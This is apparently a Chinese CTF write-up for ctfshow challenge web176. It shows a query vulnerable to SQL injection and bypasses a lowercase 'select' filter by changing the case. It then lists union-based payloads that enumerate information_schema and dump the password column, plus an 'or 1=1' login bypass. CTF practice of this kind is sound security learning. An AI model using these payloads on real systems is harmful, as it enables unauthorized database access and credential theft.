web176(有过滤注入+select过滤)

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
      
返回逻辑

//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

fuzz测试一下,发现是对select进行了过滤,我们大小写绕过就好了

⽼套路测试⼀下,第⼀次测试,发现是过滤了⼩写的select,改成Select即可绕过
这次开始有过滤注入,先测出有三列
1' order by 3--+

 

1' union Select database(),2,3 --+

 -1' union Select group_concat(table_name),2,3 from information_schema.tables where table_schema="ctfshow_web" --+

 -1' union Select group_concat(column_name),2,3 from information_schema.columns where table_name="ctfshow_user" --+

-1' union Select password,2,3 from ctfshow_user--+

 

直接万能密码也行

' or 1=1 --+

 

posted @ 2025-04-09 15:59  justdoIT*  阅读(26)  评论(0)    收藏  举报